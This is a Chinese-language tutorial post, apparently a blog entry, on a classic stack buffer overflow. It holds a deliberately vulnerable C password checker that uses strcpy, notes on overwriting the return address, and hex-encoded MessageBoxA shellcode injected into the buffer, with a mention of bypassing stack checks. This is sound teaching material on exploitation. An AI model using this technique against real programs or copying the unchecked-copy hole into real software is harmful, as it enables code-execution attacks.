• 漏洞挖掘 向目标进程中植入代码


     1 #include <stdio.h>
     2 
     3 #include <windows.h>
     4 
     5 
     6 
     7 #define PASSWORD "1234567"
     8 
     9 
    10 
    11 int verify_password(char *password)
    12 
    13 {
    14 
    15     int authenticated;
    16 
    17     char buffer[44];
    18 
    19     authenticated = strcmp(password,PASSWORD);
    20 
    21     strcpy(buffer,password);  //溢出就在这里
    22 
    23     return authenticated;
    24 
    25 }
    26 
    27 
    28 
    29 void main()
    30 
    31 {
    32 
    33     int valid_flag =0;
    34 
    35     char password[1024];
    36 
    37     FILE *fp;
    38 
    39 
    40 
    41     if (!(fp=fopen("password.txt","rw+")))
    42 
    43     {
    44 
    45         exit(0);
    46 
    47     }
    48 
    49     fscanf(fp,"%s",password);
    50 
    51 
    52 
    53     valid_flag = verify_password(password);
    54 
    55 
    56 
    57     if (valid_flag !=0)
    58 
    59     {
    60 
    61         printf("incorrect password!
    
    ");
    62 
    63     }
    64 
    65     else
    66 
    67     {
    68 
    69         printf("Congratulation! You have passed the verification!
    ");
    70 
    71     }
    72 
    73     fclose(fp);
    74 
    75     getchar();
    76 
    77 }

    构建44个字节的数据  在xDbg中观察堆栈中数据

    在构建5组4321  淹没到返回地址处  将返回地址处修改为0029FA50 那么会直接跳转到Buffer中  从而实现想程序中执行代码

    当程序跳转进Buffer中  需要执行机器代码  我们构建一个MessageBox的机器代码

    int MessageBox(
      HWND hWnd,          // handle of owner window
      LPCTSTR lpText,     // address of text in message box
      LPCTSTR lpCaption,  // address of title of message box
      UINT uType          // style of message box
    );
    
    
    push NULL
    push 标题
    push 内容
    push NULL
    call messagebox
    
    xor     ebx, ebx
    push ebx
    push 74736577h
    push 6C696166h
    push ebx
    mov eax,6BAFD000h 
    call   eax
    ;每个机器中的MessageBoxA的地址不同  需要用VC3.0自带的Depend查看
    
    
    
    33 DB                                   xor     ebx, ebx
    53                                        push    ebx
    68 77 65 73 74                    push    74736577h
    68 66 61 69 6C                    push    6C696166h
    8B C4                                   mov     eax, esp
    53                                        push    ebx
    50                                        push    eax
    50                                        push    eax
    53                                        push    ebx
    B8 00 D0 AF 6B                   mov     eax,6BAFD000h 
    FF  D0                                  call       eax    

    将机器码写入Buffer中  理论上应该就可以出现MessageBox  但是在调试中  出现了一个小问题

    程序在结束时 会出现chkesp  __chkesp来实现堆栈检查

    需要绕过chkesp

     

    爱程序 不爱bug 爱生活 不爱黑眼圈 我和你们一样 我和你们不一样 我不是凡客 我要做geek
  • 相关阅读:
    回想四叉树LOD地形(上)
    项目优化经验分享(四)需求与原型图
    CF79D Password
    2018-3-7-VisualStudio-csproj-添加-ItemGroup-的-Service-
    2018-3-7-VisualStudio-csproj-添加-ItemGroup-的-Service-
    2018-8-10-如何入门-C++-AMP-教程
    2018-8-10-如何入门-C++-AMP-教程
    2019-11-6-Roslyn-how-to-use-WriteLinesToFile-to-write-the-semicolons-to-file
    2019-11-6-Roslyn-how-to-use-WriteLinesToFile-to-write-the-semicolons-to-file
    2019-1-4-win10-uwp-win2d-CanvasVirtualControl-与-CanvasAnimatedControl
  • 原文地址:https://www.cnblogs.com/yifi/p/6277788.html
Copyright © 2020-2023  润新知